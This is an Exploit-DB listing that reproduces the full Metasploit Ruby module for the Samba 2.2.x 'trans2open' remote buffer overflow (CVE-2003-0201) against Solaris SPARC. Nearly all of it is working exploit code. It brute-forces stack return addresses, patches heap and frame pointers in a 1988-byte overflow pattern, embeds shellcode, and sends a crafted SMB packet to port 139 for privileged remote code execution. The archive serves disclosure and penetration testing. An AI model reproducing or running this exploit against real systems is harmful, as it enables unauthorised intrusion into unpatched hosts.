标题: Samba 2.2.8 (Solaris SPARC) - 'trans2open' Remote Overflow (Metasploit) EDB-ID: 16330 CVE: 2003-0201 类型: REMOTE 平台: SOLARIS_SPARC 发布日期: 2010-06-21 漏洞利用脚本: ##
# $Id: trans2open.rb 9571 2010-06-21 16:53:52Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::SMB
 include Msf::Exploit::Brute

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Samba trans2open Overflow (Solaris SPARC)',
   'Description'    => %q{
     This exploits the buffer overflow found in Samba versions
    2.2.0 to 2.2.8. This particular module is capable of
    exploiting the flaw on Solaris SPARC systems that do not
    have the noexec stack option set. Big thanks to MC and
    valsmith for resolving a problem with the beta version of
    this module.
   },
   'Author'         => [ 'hdm', 'jduck' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9571 $',
   'References'     =>
    [
     [ 'CVE', '2003-0201' ],
     [ 'OSVDB', '4469' ],
     [ 'BID', '7294' ],
     [ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00",
     'MinNops'  => 512,
    },
   'Platform'       => 'solaris',
   'Targets'        =>
    [
     [ 'Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce',
      {
       'PtrToNonZero' => 0xffbffffc, # near the bottom of the stack
       'Offset'       => 1103,
       'Bruteforce'   =>
        {
         'Start' => { 'Ret' => 0xffbffaf0 },
         'Stop'  => { 'Ret' => 0xffbfa000 },
         'Step'  => 128
        }
      }
     ],

     [ 'Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce',
      {
       'PtrToNonZero' => 0xffbefffc, # near the bottom of the stack
       'Offset'       => 1103,
       'Bruteforce'   =>
        {
         'Start' => { 'Ret' => 0xffbefaf0 },
         'Stop'  => { 'Ret' => 0xffbea000 },
         'Step'  => 128
        }
      }
     ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Apr 7 2003'
   ))

  register_options(
   [
    Opt::RPORT(139)
   ], self.class)
 end

 def brute_exploit(addrs)

  curr_ret = addrs['Ret']
  begin
   print_status("Trying return address 0x%.8x..." %  curr_ret)

   connect
   smb_login

   #
   # The obstacle course:
   #  outsize = smb_messages[type].fn(conn, inbuf,outbuf,size,bufsize);
   #  smb_dump(smb_fn_name(type), 0, outbuf, outsize);
   #  return(outsize);
   #

   # This value *must* be 1988 to allow findrecv shellcode to work
   pattern = rand_text_english(1988)

   #
   # This was tested against sunfreeware samba 2.2.7a / solaris 9 / sun4u
   #
   # Patch the overwritten heap pointers
   # substr($pattern, 1159, 4, pack('N', $target->[4]));
   # substr($pattern, 1163, 4, pack('N', $target->[4]));
   #
   # >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0
   # substr($pattern, 1195, 4, pack('N', 0xffffffff));
   #
   # Fix the frame pointer (need to check for null in address)
   # substr($pattern, 1243, 4, pack('N', $target->[3]-64));
   #
   # Finally set the return address
   # substr($pattern, 1247, 4, pack('N', $curr_ret));
   #

   #
   # This method is more reliable against a wider range of targets
   #

   off = target['Offset']
   ptr_to_non_zero = target['PtrToNonZero']

   # Local variable pointer patches for early versions of 2.2.x
   pattern[off, 36] = [ptr_to_non_zero - 1024].pack('N') * 9
   off += 36

   # Overwrite heap pointers with a ptr to NULL at the top of the stack
   pattern[off, 40] = [ptr_to_non_zero - 1024].pack('N') * 10
   off += 40

   # Patch the type index into the smb_messages[] array...
   # >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0
   pattern[off, 20] = [0xffffffff].pack('N') * 5
   off += 20

   # This stream covers the framepointer and the return address
   pattern[off, 400] = [curr_ret].pack('N') * 100

   # Stuff the shellcode into the request
   pattern[3, payload.encoded.length] = payload.encoded

   trans =
    "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
    "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
    pattern

   sock.put(trans)
   handler
   disconnect

  rescue EOFError
  rescue => e
   print_error("#{e}")
  end

 end

end URL: https://www.exploit-db.com/exploits/16330